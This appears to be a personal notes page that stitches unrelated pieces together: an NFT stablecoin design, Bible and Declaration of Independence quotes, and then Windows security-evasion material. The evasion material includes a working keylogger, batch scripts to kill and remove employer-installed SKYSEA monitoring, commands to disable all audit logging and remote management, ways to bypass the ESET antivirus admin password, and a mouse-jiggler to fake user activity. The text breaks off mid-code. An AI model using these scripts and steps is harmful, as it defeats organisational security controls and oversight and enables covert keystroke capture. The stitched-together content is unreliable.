我们想做的项目叫做“印刷术”（typography、digitypography）。目的是构建一个基于开放式博弈的生态型稳定币系统。“印刷术”（＄Typography）和“好比特”（＄GoodBit）是其中一对货币对。稳定机制是通过销毁一定量的“印刷术”铸造一个“好比特”或者销毁一个“好比特”铸造一定量的“印刷术”来控制“好比特”的发行量，以达到一个“好比特”在一般水平上可以用来购买一个比特量的 NFT 内容的“复制引用权”的目的。具体来说，要用“有向无环图”（DAG）的方式实现“通用知识图谱”，对所有的 NFT 的内容实现版本控制。每一个特定的版本的 NFT 类似 git 里面的 commit。NFT 的所有者可以发行相应的“复制引用许可代币”（Copy and Quote License Token）。其他的人可以购买并销毁多个不同的“复制引用许可代币”来铸造自己的 NFT。这个新的 NFT 就以后继节点的方式连接到那些“复制引用许可代币”相应的 NFT 之后，以实现 NFT 的合并和更改的历史证明。这个巨大的 NFT 图谱以永存的方式存储。而所有“复制引用许可代币”和“好比特”的交易记录被用来控制“好比特”的发行量。具体来说，要追踪每一个“复制引用许可代币”的流通。每一个“复制引用许可代币”根据其最新的交易或者销毁记录，有一个以“好比特”计价的价格。追踪所有的“复制引用许可代币”，它们以“好比特”计价的价格的总和、除以、它们相应的 NFT 内容的比特量的总和，可以得到、整个系统之内、复制引用一个比特以“好比特”计价的平均价格。另外，我们知道“印刷术”与“好比特”的交易市场中，一个“好比特”以“印刷术”计价的价格。因此，我们可以算出、复制引用一个比特以“印刷术”计价的平均价格。整个系统的稳定机制是，通过允许、一个“好比特”与复制引用一个比特在一般水平上所需支付的“印刷术”的、双向自由的销毁铸造，来达到、把复制引用一个比特的平均价格调整为一个“好比特”、的目的。

私たちがやりたいプロジェクトは「タイポグラフィ」（typography）、「デジタイポグラフィ」（digitypography）と呼ばれています。目的は、新しいステーブルコインシステムを構築することです。「印刷術」（＄Typography）と「良いビット」（＄GoodBit）はその中に主な通貨ペアです。

価格安定化メカニズムは、「良いビット」を鋳造するために一定量の「印刷術」を焼却するか、「良いビット」を焼却するために一定量の「印刷術」を鋳造することによって、「良いビット」の発行量を制御することです。これにより、一般的に、一個ビットの NFT コンテンツをコピーして参照するために、一個「良いビット」で支払うことができます。

具体的には、「一般知識グラフ」というのを、「有向非巡回グラフ」（DAG）の形式で実装する必要があり、バージョン管理はすべての NFT コンテンツに実装する必要があります。NFT の各特定のバージョンは、git でのコミットに似ています。

NFT の所有者は、その NFT に対応する「コピー参照ライセンストークン」（Copy and Quote License Token）を発行できます。

他の人は、複数の異なる「コピー参照ライセンストークン」を購入して焼却し、自分の NFT を鋳造することができます。次に、その新しい NFT は、後続ノードの形式で「コピー参照ライセンストークン」に対応する NFT に接続され、NFT の合併と変更の歴史を証明します。

この巨大な NFT グラフは、永続的な方法で保存されます。また、「コピー参照ライセンストークン」と「良いビット」のすべての取引履歴は、「良いビット」の発行を制御するために使用されます。

具体的には、各「コピー参照ライセンストークン」の流通を追跡します。各「コピー参照ライセンストークン」には、最新の取引または焼却の記録に基づいた「良いビット」で表される価格があります。

すべての「コピー参照ライセンストークン」を追跡して、システム全体で一個ビットをコピーして参照するためにの「良いビット」で表される平均価格は、「良いビット」で表される価格の合計を、対応する NFT コンテンツのビットの合計で、割ったものです。

さらに、私たちは、「印刷術」と「良いビット」の取引市場によって、一個「良いビット」が「印刷術」で表される価格を知っています。したがって、一個ビットをコピーして参照するためにの「印刷術」で表される平均価格を計算できます。

システム全体の価格安定メカニズムは、一個「良いビット」と、一個ビットをコピーして参照するために一般的に必要とされる「印刷術」を、自由に鋳造と焼却を可能にすることによって、ビットをコピーして参照する平均価格を一個「良いビット」に調整する目的を達成します。

不可偷窃。
(出埃及记 20:15 吕振中)

我们认为下面这些真理是不证自明²的：人人生而平等，造物主赋予他们若干不可剥夺的权利，其中包括生命权、自由权和追求幸福的权利。为了保障这些权利，人们才在他们之间建立政府，而政府之正当权力，则来自被统治者的同意。任何形式的政府，只要破坏上述目的，人民就有权利改变或废除它，并建立新政府；新政府赖以奠基的原则，得以组织权力的方式，都要最大可能地增进民众的安全和幸福。的确，从慎重考虑，不应当由于轻微和短暂的原因而改变成立多年的政府。过去的一切经验也都说明，任何苦难，只要尚能忍受，人类都宁愿容忍，而无意废除他们久已习惯了的政府来恢复自身的权益。但是，当政府一贯滥用职权、强取豪夺，一成不变地追逐这一目标，足以证明它旨在把人民置于绝对专制统治之下时，那么，人民就有权利，也有义务推翻这个政府，并为他们未来的安全建立新的保障。
ーー《美国独立宣言》前言³

²：英语：Self-evidence
³：任东来在《美国历史文献选集》的译文（中国翻译出版公司翻译，美国驻华大使馆新闻文化处出版，1985）和《1765——1917年的美国》的译文（谢德风等选择，北京三联书店，1957）基础上重译。任东来; 陈伟; 白雪峰; Charles J. McClain; Laurene Wu.

系统地提出三权分立之原则来源于1748年法国孟德斯鸠的《论法的精神》，权力分离为司法权、立法权、行政权三种权力。
所谓三权分立，就是通过法律规定，将三种权力分别交给三个不同的国家机关执掌，既保证各自的权限，又要相互制约保持平衡。

因为永恒主是审判我们的，
永恒主是给我们定律例的，
永恒主是我们的王；
是他在救助我们。
(以赛亚书 33:22 吕振中)

孟德斯鸠是一个基督徒政治哲学家。他的政治哲学来自《圣经》，他必然将《圣经》原则融会贯通在他的三权分立的思想中。《圣经》以赛亚书、第33章、第22节，这一节经文就是将权力分为审判者、立法者和君王，是确立现代三权分立原则的原型。

孟德斯鸠说：“一切有权力的人都会滥用权力，这是万古不易的经验。要防止滥用权力，就必须以权力约束权力。”
孟德斯鸠将权力制衡的基本理论归结为两个基本思想：

1. 不受约束的权力必然腐败，绝对的权力导致绝对的腐败。
2. 道德约束不了权力，权力只有用权力来约束。

Spread via Word documents

通过 Word 文档传播

Attacks for hire

雇佣攻击

Emotet Malware

Emotet 恶意软件

Phishing: Spearphishing Link

网络钓鱼：带有恶意链接的鱼叉式钓鱼

Keylogger

键盘记录器

python -m pip install pynput

from pynput import keyboard

log_file = 'keylog.txt'

def on_press(key: keyboard.Key | keyboard.KeyCode | None) -> None:
    with open(log_file, 'a') as f:
        f.write(f'[{key}]')

with keyboard.Listener(on_press=on_press) as listener:
    listener.join()

SKYSEA 这个间谍软件的删除方法

• Microsoft Policy Platform
• Microsoft Endpoint Manager
  • Microsoft Endpoint Configuration Manager
    • Configuration Manager Remote Control Service
  • Microsoft Intune
    • Microsoft Intune Management Extension
• Microsoft Azure Information Protection
• Azure Monitor Agent

一、详细操作指南

社内PC上未经允许安装并获取操作日志的麻烦间谍软件。让我们根除这个间谍软件，提高生活质量（QoL）。

1. 使用 RegistryFinder 删除注册表中所有包含 “skysea” 的项。也可以使用 regedit，但比较麻烦。

   删除注册表中 Key 列和 Value 列中包含 “SKYSEA” 的记录（右键点击 → 从注册表中删除）。

2. 通过资源管理器右键点击 PC → 管理 → 左侧树状图中的 服务和应用程序 → 服务中的 “Swd” 右键点击 → 属性 → 将服务状态设置为停止，将启动类型设置为禁用。

   删除 C:\WINDOWS 目录中的 “wds” 文件夹。

3. 通过资源管理器右键点击 PC → 管理 → 左侧树状图中的 服务和应用程序 → 服务中的 “awssm” 右键点击 → 属性 → 将服务状态设置为停止，将启动类型设置为禁用。

   删除 C:\WINDOWS 目录中的 “awssm” 文件夹。

4. 将以下文本保存为 .bat 文件并运行。也可以手动停止和禁用服务。

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25

   @echo off rem 禁用服务 sc config "Swd" start= disabled sc config "awssm" start= disabled sc config "SCVCabProxySvr" start= disabled sc config "CompactSvc" start= disabled sc config "ScvUpdSvc" start= disabled sc config "AstExAgt" start= disabled sc config "ScvSvc" start= disabled sc config "SCV LogAgentService" start= disabled sc config "LogSvr" start= disabled sc config "IceSvc" start= disabled rem 停止服务 net stop "Swd" net stop "awssm" net stop "SCVCabProxySvr" net stop "CompactSvc" net stop "ScvUpdSvc" net stop "AstExAgt" net stop "ScvSvc" net stop "SCV LogAgentService" net stop "LogSvr" net stop "IceSvc"

   因为各服务会进行活性监控，需要多次运行 bat 文件来完全停止它们。如果不行的话可以手动从服务界面停止。

5. 打开任务管理器，右键点击 “SKYSEA Client View Version 16.1” → 结束任务。然后删除 C:\Program Files (x86) 目录中的 “Sky Product” 文件夹。如果无法删除，可能是服务未完全停止或者任务管理器中还有 “SKYSEA Client View Version 16.1”。

6. 重启电脑，如果任务管理器中没有任何与 “SKYSEA” 相关的进程，说明删除成功。

结束监视社会。感谢这家公司，我连藤原竜也都讨厌了。

2023年10月15日更新

在多次停止服务后，系统部门又说『日志无法获取了』，我反复说『请远程安装』，然后删除了日志。但随着新版本的发布，他们要求重新安装。我本来不想安装，但最后不得不安装。安装后，他们又说『日志无法获取』，但我不在乎。

后来我再次尝试删除这个恶心的间谍软件，但 “C:\Program Files (x86)\Sky Product\SKYSEA Client View” 文件夹被占用，无法删除。因为不想查找具体是哪项服务占用，于是按照以下步骤进行处理：

1. 右键点击 Windows 标志，选择 “运行”。
2. 输入 “resmon.exe” 并点击 “确定”。
3. 在资源监视器中，打开 “CPU” 选项卡。
4. 展开 “关联的句柄” 部分。
5. 在 “关联的句柄” 搜索框中输入 “SKYSEA Client View”。
6. 等待搜索结果显示。
7. 右键点击显示的进程，选择 “结束进程”。

即便是 Chrome 和 Outlook 也受到影响，这太恶心了。想到系统部门的老男人可能会窥探女性员工的搜索历史，真是太可怕了。

无法删除文件夹时，可以通过移除 administrators 权限并授予 everyone 完全控制权限来删除文件夹。

二、服务停止与启动脚本

昨天写的删除方法，其实不用删除注册表也可以停止服务。但是，如果想彻底清理，建议删除注册表项目。

因为有些公司可能会在删除后抱怨，所以我创建了停止和启动服务的 bat 文件。请在自担风险下使用。

服务停止.bat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

@echo off

rem 禁用服务并停止，移动模块
sc config "Swd" start= disabled
net stop "Swd"
move C:\Windows\wds C:\kasu\wds

sc config "awssm" start= disabled
net stop "awssm"
move C:\WINDOWS\avv5sm C:\kasu\avv5sm

rem 终止进程
taskkill /F /im CtlCli64.exe
taskkill /F /im LogChromeNativeHost.exe
taskkill /F /im AstAgent.exe
taskkill /F /im CtlCli.exe
taskkill /F /im SvcMon.exe
taskkill /F /im SKYSEAHS.exe

rem 禁用其他服务
sc config "SCVCabProxySvr" start= disabled
sc config "CompactSvc" start= disabled
sc config "ScvUpdSvc" start= disabled
sc config "AstExAgt" start= disabled
sc config "ScvSvc" start= disabled
sc config "SCV LogAgentService" start= disabled
sc config "LogSvr" start= disabled
sc config "IceSvc" start= disabled

rem 停止其他服务
net stop "SCVCabProxySvr"
net stop "CompactSvc"
net stop "ScvUpdSvc"
net stop "AstExAgt"
net stop "ScvSvc"
net stop "SCV LogAgentService"
net stop "LogSvr"
net stop "IceSvc"

rem 移动 C:\Program Files (x86)\Sky Product 文件夹
move "C:\Program Files (x86)\Sky Product" "C:\kasu"

服务启动.bat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

@echo off

rem 启用服务并启动，移动模块
sc config "Swd" start= auto
net start "Swd"
move C:\kasu\wds C:\Windows\wds

sc config "awssm" start= auto
net start "awssm"
move C:\kasu\avv5sm C:\WINDOWS\avv5sm

rem 启用其他服务
sc config "SCVCabProxySvr" start= auto
sc config "CompactSvc" start= auto
sc config "ScvUpdSvc" start= auto
sc config "AstExAgt" start= auto
sc config "ScvSvc" start= auto
sc config "SCV LogAgentService" start= auto
sc config "LogSvr" start= auto
sc config "IceSvc" start= auto

rem 启动其他服务
net start "SCVCabProxySvr"
net start "CompactSvc"
net start "ScvUpdSvc"
net start "AstExAgt"
net start "ScvSvc"
net start "SCV LogAgentService"
net start "LogSvr"
net start "IceSvc"

rem 移动 C:\Program Files (x86)\Sky Product 文件夹回原位置
move "C:\kasu\Sky Product" "C:\Program Files (x86)"

组织域管理员

域管理员在未联网的计算机终端上用 CMD 执行的命令不会被域级审计，因为域级审计依赖于计算机与域控制器之间的通信。若计算机与域控制器断开连接（未联网），域级审计无法实时获取和记录该计算机的操作信息。

详细解释

1. 域级审计的工作原理：
   • 域级审计通过域控制器推送审计策略，监控和收集域中计算机的操作信息。
   • 当计算机执行某些命令或操作时，会向域控制器发送事件日志，存储在域控制器的安全日志中。
2. 未联网时的影响：
   • 如果计算机未连接到网络或无法访问域控制器，任何在该计算机上执行的命令都无法实时同步到域控制器。
   • 因此，域级审计无法记录这些操作。
3. 本地审计的作用：
   • 虽然无法进行域级审计，但本地审计策略（如进程创建审计、登录审计）仍然有效。
   • 这些操作会记录到本地安全日志中（在事件查看器的安全日志下）。
   • 例如，Windows 事件 ID 4688 会记录新进程的创建。
4. 联网后同步：
   • 当未联网的计算机重新连接到域后，域策略可以再次应用，但在断网期间生成的本地日志不会自动上传到域控制器。
   • 需要手动导出或通过集中式日志管理工具收集这些本地日志。

创建本地管理员账户

组织域管理员登录到某个计算机终端并使用 cmd 或 PowerShell 创建一个新的本地管理员账户：

• 通过 cmd 创建本地管理员：

  1 2	net user NewLocalAdmin password /add net localgroup Administrators NewLocalAdmin /add

• 通过 PowerShell 创建本地管理员：

  1 2	New-LocalUser "NewLocalAdmin" -Password (ConvertTo-SecureString "password" -AsPlainText -Force) Add-LocalGroupMember -Group "Administrators" -Member "NewLocalAdmin"

这会在本地计算机上创建一个名为 NewLocalAdmin 的用户，并将其添加到 Administrators 组中，从而赋予该账户管理员权限。

删除本地管理员账户

假设你希望任务在 2024 年 12 月 25 日午夜 12 点删除本地管理员账户，可以按照如下方式创建任务：

1

schtasks /create /tn "DeleteCurrentAdmin" /tr "net user CurrentAdmin /delete" /sc once /st 00:00 /sd 12/25/2024

解释：

• /sc once：表示这是一个只执行一次的任务。
• /st 00:00：设定任务的开始时间为午夜12点（00:00）。
• /sd 12/25/2024：指定任务的具体日期为 2024 年 12 月 25 日。

这样，任务将在指定的日期和时间执行并删除本地管理员账户。

禁用本地审计

要在 Windows 系统上禁用本地审计，可以通过本地组策略编辑器或命令行工具来进行。以下是两种常见方法：

方法 1：使用本地组策略编辑器禁用本地审计

1. 打开本地组策略编辑器：
   • 按下 Win + R，输入 gpedit.msc，然后按 Enter。
2. 导航到审计策略：
   • 路径：计算机配置 → Windows 设置 → 安全设置 → 本地策略 → 审核策略。
3. 禁用所需的审计项：
   • 在右侧面板中找到需要禁用的审计项（例如登录审核、对象访问审核、进程创建审核等）。
   • 双击需要禁用的项，在弹出的窗口中选择不审核，然后点击确定。
4. 应用更改：
   • 关闭组策略编辑器，重启计算机或运行以下命令以使更改生效：

1

gpupdate /force

方法 2：使用命令行工具禁用本地审计

可以使用 auditpol 命令来禁用特定的审计策略。

• 查看当前的审计策略

在命令提示符或 PowerShell 中，运行以下命令查看当前的审计策略：

1

auditpol /get /category:*

• 禁用特定审计项

要禁用特定审计项（例如登录/注销类别下的所有审核），可以使用以下命令：

1

auditpol /set /category:"Logon/Logoff" /success:disable /failure:disable

• 禁用所有审计项

要禁用所有审计类别的审计，可以逐项禁用，或者使用批处理命令：

1

for /f "tokens=*" %a in ('auditpol /get /category:* ^| findstr /r "^[A-Z]"') do auditpol /set /category:"%a" /success:disable /failure:disable

• 注意事项

1. 权限要求：
   • 修改审计策略需要管理员权限，请确保在具有管理员权限的账户下执行这些操作。
2. 安全风险：
   • 禁用本地审计会使系统无法记录安全事件和用户活动，可能导致安全风险，降低问题排查和安全合规性。
3. 重新启用审计：
   • 如果需要重新启用本地审计，可以通过组策略编辑器将相关项设置为成功审核或失败审核，或者使用 auditpol 命令启用。

示例命令重新启用审计：

1

auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable

通过这些方法，可以有效控制本地审计的启用和禁用。

禁用 Windows 远程管理

Windows 远程管理涉及多个功能，如 PowerShell 远程、远程桌面 和 **Windows 远程管理服务 (WinRM)**。您可以逐一禁用这些功能。

禁用 PowerShell 远程

在 PowerShell 中运行以下命令来禁用 PowerShell 远程功能：

1

Disable-PSRemoting -Force

禁用远程桌面 (RDP)

1. 通过设置禁用远程桌面：

   • 按 Win + I 打开 设置。
   • 选择 系统 -> 远程桌面。
   • 将 启用远程桌面 选项关闭。

2. 通过命令提示符禁用远程桌面：
   打开命令提示符（管理员权限），运行以下命令：

   1	reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f

3. 停止远程桌面服务：

   1 2	sc stop TermService sc config TermService start= disabled

禁用 Windows Management Instrumentation (WMI)

PowerShell Remoting 依赖于 WMI（Windows Management Instrumentation）来查询计算机的状态。禁用 WMI 服务可以防止通过 WMI 查询用户和权限。

在 PowerShell 中执行以下命令禁用 WMI 服务：

1
2

Stop-Service -Name winmgmt
Set-Service -Name winmgmt -StartupType Disabled

或者，在 服务管理器 中手动禁用 Windows Management Instrumentation 服务。

如何检查和设置 WMI 权限：

• 可使用 Component Services 或 WMI Control 控制台来查看和配置 WMI 的访问权限。
• 步骤：
  1. 打开 compmgmt.msc（计算机管理）。
  2. 导航到 Services and Applications > WMI Control。
  3. 右键点击 WMI Control，选择 Properties。
  4. 在 Security 选项卡中，可以查看和配置 WMI 命名空间的权限。

禁用 SMB 协议

为了防止远程查看和管理，可以禁用 Server Message Block (SMB) 协议。

禁用 SMB1 协议和 SMB2 协议：

1
2

Set-SmbServerConfiguration -EnableSMB1Protocol $false
Set-SmbServerConfiguration -EnableSMB2Protocol $false

禁用 WinRM 服务（远程管理服务）

在命令提示符或 PowerShell 中，运行以下命令：

1
2
3
4
5

# 停止 WinRM 服务
Stop-Service WinRM

# 禁用 WinRM 服务开机启动
Set-Service -Name WinRM -StartupType Disabled

配置防火墙规则

通过配置防火墙规则，可以阻止来自特定 IP 或网络的远程访问。

• 手动创建防火墙端口规则：

通过防火墙限制远程连接，特别是禁用 PowerShell Remoting 或 WMI 查询：

1. 打开 Windows 防火墙。
2. 创建新的出站或入站规则，阻止端口 5985 (HTTP) 和 5986 (HTTPS)，这两个端口是 PowerShell Remoting 和 WMI 查询的默认端口。

• 通过执行命令，配置阻止远程管理端口的规则。

1

New-NetFirewallRule -DisplayName "Block PowerShell Remoting" -Direction Inbound -Protocol TCP -LocalPort 5985,5986 -Action Block

• 通过执行命令，配置阻止 RDP（远程桌面协议）端口的规则。

1

New-NetFirewallRule -DisplayName "Block RDP" -Direction Inbound -Protocol TCP -LocalPort 3389 -Action Block

禁用 Remote Registry 服务

Remote Registry 服务允许远程计算机访问本地注册表，进而查看用户和权限信息。
禁用 Remote Registry 服务可以防止远程用户访问计算机的注册表，查看或修改用户信息、权限等。

1. 打开 服务管理器，找到 Remote Registry 服务。
2. 禁用该服务，并将启动类型设置为 禁用。

或者，你可以在 PowerShell 中执行以下命令禁用服务：

1
2

Stop-Service -Name RemoteRegistry
Set-Service -Name RemoteRegistry -StartupType Disabled

使用组策略限制权限

通过 组策略（GPO）来限制域管理员的远程访问权限，禁止某些账户或组执行特定操作。

• 禁止远程管理

1. 打开 组策略编辑器（gpedit.msc）。
2. 导航到 计算机配置 -> 管理模板 -> Windows 组件 -> Windows PowerShell。
3. 启用 禁用远程脚本 策略，以防止通过 PowerShell 远程执行脚本。

• 限制管理员权限

你还可以限制某些管理员的权限，限制其在目标计算机上的操作。通过组策略，你可以定义哪些用户组可以执行管理任务。

禁用登录脚本和远程任务

禁用目标计算机的登录脚本和计划任务可以防止域管理员通过这些方式远程监视计算机。

• 禁用计划任务

1. 打开 任务计划程序。
2. 禁用或删除与远程监控相关的计划任务。

卸载或禁用 ESET Security

ESET Security 是防病毒和安全保护软件，禁用或卸载它需要一定的步骤和权限，特别是在企业环境中可能会受到策略限制。
如果您没有 ESET Security 的管理员密码，但需要禁用或卸载它，可以尝试以下方法。不过请注意，在公司设备上这样做可能违反 IT 政策，需谨慎操作。

方法 1: 使用 ESET 卸载工具（在安全模式下）

ESET 提供了专门的卸载工具，可以在 安全模式 下强制卸载 ESET Security，绕过管理员密码。

步骤：

1. 下载 ESET Uninstaller 工具：

   • 从 ESET 官方支持页面下载 ESET Uninstaller 工具：
     ESET Uninstaller 下载链接

2. 进入安全模式：

   • 按 Win + R，输入 msconfig，按回车。
   • 在 引导 选项卡中，勾选 安全引导，然后点击 确定 并重启电脑。

3. 运行 ESET Uninstaller 工具：

   • 在安全模式下，运行下载的 ESET Uninstaller 工具 (ESETUninstaller.exe)。
   • 按照提示，输入确认信息并选择要卸载的 ESET 产品。
   • 等待卸载完成。

4. 重新启动电脑：

   • 卸载完成后，重新启动电脑并返回正常模式。
   • 记得取消 安全引导 选项（在 msconfig 中取消勾选 安全引导）。

方法 2: 通过注册表重置 ESET 管理员密码

您可以尝试通过修改注册表来重置或移除 ESET Security 的管理员密码。

步骤：

1. 打开注册表编辑器：

   • 按 Win + R，输入 regedit，然后按回车。

2. 定位到 ESET 密码存储路径：

   • 路径：

     1	HKEY_LOCAL_MACHINE\SOFTWARE\ESET\ESET Security\CurrentVersion\Info

   • 在部分版本中，路径可能略有不同。

3. 删除密码值：

   • 找到名为 Password 或 AdminPassword 的项。
   • 右键点击该项，选择 删除。
   • 关闭注册表编辑器。

4. 重启电脑：

   • 重启后，尝试打开 ESET Security，密码应该被移除。

方法 3: 通过任务管理器禁用 ESET 启动项和服务

1. 打开任务管理器：

   • 按 Ctrl + Shift + Esc。

2. 禁用启动项：

   • 转到 启动 选项卡。
   • 找到 ESET Security，右键点击并选择 禁用。

3. 禁用 ESET 服务：

   • 转到 服务 选项卡。
   • 找到所有与 ESET 相关的服务，右键点击，选择 停止。
   • 按 Win + R，输入 services.msc，回车。
   • 在服务列表中找到 ESET 服务，右键选择 属性，将 启动类型 设置为 禁用。

让 Chromium 使用系统托盘运行（第三方工具）

Windows 本身不支持直接将 Chromium 或者 Vivaldi 移动到托盘（右下角通知区域）。但可以使用第三方工具，如 RBTray 或 TrayIt!，将 Chromium 最小化到系统托盘中：

1. 下载并运行 RBTray（无需安装）。
2. 打开 Chromium 后，用右键单击窗口右上角的最小化按钮。
3. Chromium 图标将最小化到托盘。

查看 Microsoft Purview 扩展 和 Microsoft Single Sign-On (SSO) 插件在 Chrome 浏览器中何时部署：

1. 打开以下目录：

   1	%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions

2. 找到扩展的文件夹（通过扩展程序 ID）。
   • 你可以在 chrome://extensions/ 页面中找到扩展 ID。
3. 右键扩展文件夹，选择 属性。
4. 在 创建时间 中查看扩展的初始安装时间。

让 iPhone 通过 USB 分享网络给 Windows 11：

• 安装 AppleMobileDeviceSupport 。
• 打开 控制面板 → 网络和共享中心 → 更改适配器设置。
• 你应该能够看到 Apple Mobile Device Ethernet 或类似名称的适配器，这表示 iPhone 正在通过 USB 共享网络。
• 如果看到该适配器，右键点击它并选择 启用。

使用 MyPublicWiFi 创建虚拟无线路由器：

• 特点：
  • 提供创建无线局域网和网络监控功能。
  • 无需依赖 Hosted Network 支持。
• 适用情况：
  • 支持较旧的 Windows 系统和大部分无线网卡。

在 Windows 11 中开启移动热点：

1. 按下 Win + I 打开设置，或者点击开始菜单，选择设置。
2. 在设置界面，选择左侧菜单中的网络和互联网。
3. 在网络和互联网页面中，找到并点击移动热点。
4. 选择网络连接来源：
   • 在共享我的互联网连接下拉菜单中，选择用于共享的网络连接来源（例如 Wi-Fi 或以太网）。
5. 配置网络名称和密码（可选）：
   • 点击编辑按钮，设置你的热点名称（SSID）和密码。确保密码满足至少8位字符的要求。
6. 将移动热点开关切换到开的状态。
7. 系统会显示热点的网络名称和密码，你可以使用其他设备连接到此热点。
8. 在移动热点设置页面，可以查看并管理连接到热点的设备。

使用 Pi-Hole-for-WSL1 阻塞网络监控通信：

1
2
3
4
5

pihole -b self.events.data.microsoft.com
pihole -b teams.events.data.microsoft.com
pihole -b browser-intake-datadoghq.com
pihole -b dns.msftncsi.com
pihole -b msftconnecttest.com

1

pihole restartdns

1

pihole -t

1

ipconfig /flushdns

圆周运动

%%bash
pip install pyautogui

import pyautogui
import math
import time

# 圆周运动的参数
radius = 100  # 圆的半径
center_x, center_y = pyautogui.size().width // 2, pyautogui.size().height // 2  # 屏幕中心点
angle_step = 5  # 每步移动的角度增量，单位是度

# 进入无限循环
try:
    while True:
        for angle in range(0, 360, angle_step):
            # 计算当前角度的弧度值
            radian = math.radians(angle)
            # 计算新坐标
            x = center_x + radius * math.cos(radian)
            y = center_y + radius * math.sin(radian)
            # 移动鼠标
            pyautogui.moveTo(x, y)
            # 可以调整时间间隔来控制运动速度
            time.sleep(0.01)
except KeyboardInterrupt:
    print('圆周运动已停止。')

%%bash
pip install pyautogui pynput

import tkinter as tk
import pyautogui
import math
import threading
import time
from pynput import keyboard

class MouseCircleApp:
    def __init__(self, root):
        self.root = root
        self.root.title('Mouse Circle App')
        self.root.geometry('300x100')
        self.root.attributes('-topmost', True)

        self.running = False
        self.thread = None

        self.button = tk.Button(root, text='Start Circle', command=self.toggle_circle)
        self.button.pack(expand=True)
        
        self.listener = keyboard.Listener(on_press=self.on_key_press)
        self.listener.start()

    def toggle_circle(self):
        if not self.running:
            self.running = True
            self.button.config(text='Stop Circle')
            self.thread = threading.Thread(target=self.start_circle)
            self.thread.start()
        else:
            self.running = False
            self.button.config(text='Start Circle')

    def start_circle(self):
        radius = 100
        center_x, center_y = pyautogui.size().width // 2, pyautogui.size().height // 2
        angle_step = 5

        while self.running:
            for angle in range(0, 360, angle_step):
                if not self.running:
                    break
                radian = math.radians(angle)
                x = center_x + radius * math.cos(radian)
                y = center_y + radius * math.sin(radian)
                pyautogui.moveTo(x, y)
                time.sleep(0.01)

    def on_key_press(self, key):
        if key == keyboard.Key.esc:
            self.running = False
            self.button.config(text='Start Circle')
            if self.thread and self.thread.is_alive():
                self.thread.join()

if __name__ == '__main__':
    root = tk.Tk()
    app = MouseCircleApp(root)
    root.mainloop()

%%bash
pyinstaller --onefile --noconsole circle.py

%%bash
pip install pystray pillow

import ctypes
import os
import pyautogui
import math
import time
import threading
import tkinter as tk
from pystray import Icon, MenuItem, Menu
from PIL import Image
from pynput import keyboard

# Constants for preventing sleep using SetThreadExecutionState API
ES_CONTINUOUS = 0x80000000  # Ensure the state is reset when the program exits
ES_DISPLAY_REQUIRED = 0x00000002  # Prevent the display from turning off
ES_SYSTEM_REQUIRED = 0x00000001  # Prevent the system from entering sleep

# Global variables for mouse circle functionality
running = False
circle_thread = None
button = None

def prevent_sleep():
    # Call the Windows API to prevent sleep and display off
    ctypes.windll.kernel32.SetThreadExecutionState(
        ES_CONTINUOUS | ES_DISPLAY_REQUIRED | ES_SYSTEM_REQUIRED
    )

def allow_sleep():
    # Reset the system to allow sleep and display off
    ctypes.windll.kernel32.SetThreadExecutionState(ES_CONTINUOUS)

def keep_awake():
    while True:
        # Function to simulate user activity to keep the system awake
        prevent_sleep()
        pyautogui.move(1, 0)  # Slight mouse movement to prevent idle state
        pyautogui.move(-1, 0)  # Move back to original position
        time.sleep(60 * 3)  # Sleep for 3 minutes before repeating

def on_quit(icon, root):
    # Handle the quit action from the system tray menu
    icon.stop()  # Stop the tray icon
    allow_sleep()  # Allow the system to sleep again
    root.quit()  # Quit the Tkinter main loop
    os._exit(0)  # Ensure the process exits completely

def show_window(root):
    # Show the main application window
    root.deiconify()
    root.attributes('-topmost', True)  # Bring the window to the front

def hide_window(root):
    # Hide the main application window
    root.withdraw()

def create_tray_icon(root):
    # Create a system tray icon with a menu
    image = Image.new('RGB', (64, 64), color=(0, 0, 0))  # Simple black icon
    menu = Menu(
        MenuItem('Open Window', lambda icon, item: show_window(root), default=True),
        MenuItem('Exit', lambda icon, item: on_quit(icon, root))
    )
    return Icon('Awake', image, 'Keep Awake', menu)

def toggle_circle(button):
    global running, circle_thread
    if not running:
        button.config(text='Stop Circle')
        # Start the circle motion
        running = True
        circle_thread = threading.Thread(target=start_circle)
        circle_thread.start()
    else:
        button.config(text='Start Circle')
        # Stop the circle motion
        running = False
        if circle_thread and circle_thread.is_alive():
            circle_thread.join()

def start_circle():
    global running
    radius = 100
    center_x, center_y = pyautogui.size().width // 2, pyautogui.size().height // 2
    angle_step = 5

    while running:
        for angle in range(0, 360, angle_step):
            if not running:
                break
            radian = math.radians(angle)
            x = center_x + radius * math.cos(radian)
            y = center_y + radius * math.sin(radian)
            pyautogui.moveTo(x, y)
            time.sleep(0.01)

def on_key_press(key):
    global button
    if key == keyboard.Key.esc:
        toggle_circle(button)

def main():
    # Set up the main Tkinter window
    root = tk.Tk()
    root.title('Awake & Circle')
    root.geometry('350x100')
    root.resizable(False, False)  # Fix the window size
    root.attributes('-topmost', True)  # Keep the window on top
    root.protocol('WM_DELETE_WINDOW', lambda: hide_window(root))  # Hide on close

    # Create the mouse circle button in the main window
    global button
    button = tk.Button(root, text='Start Circle', command=lambda: toggle_circle(button))
    button.pack(expand=True)

    # Start a background thread to keep the system awake
    threading.Thread(target=keep_awake, daemon=True).start()

    # Start the keyboard listener
    listener = keyboard.Listener(on_press=on_key_press)
    listener.start()

    # Create and run the system tray icon
    icon = create_tray_icon(root)
    threading.Thread(target=icon.run, daemon=True).start()

    # Run the Tkinter main loop
    root.mainloop()

if __name__ == '__main__':
    main()

%%bash
pyinstaller --onefile --noconsole awake.py

from setuptools import setup
from mypyc.build import mypycify

setup(
    name='awake',
    ext_modules=mypycify(['awake.py']),
    zip_safe=False,
)

%%bash
pip install mypy

%%bash
python setup.py build_ext --inplace

import awake

if __name__ == '__main__':
    awake.main()  # 调用编译后的模块的 main 函数

%%bash
pyinstaller --onefile main.py

import os
import shutil
import subprocess

def stop_and_disable_service(service_name):
    '''停止并禁用指定的服务'''
    try:
        # 停止服务
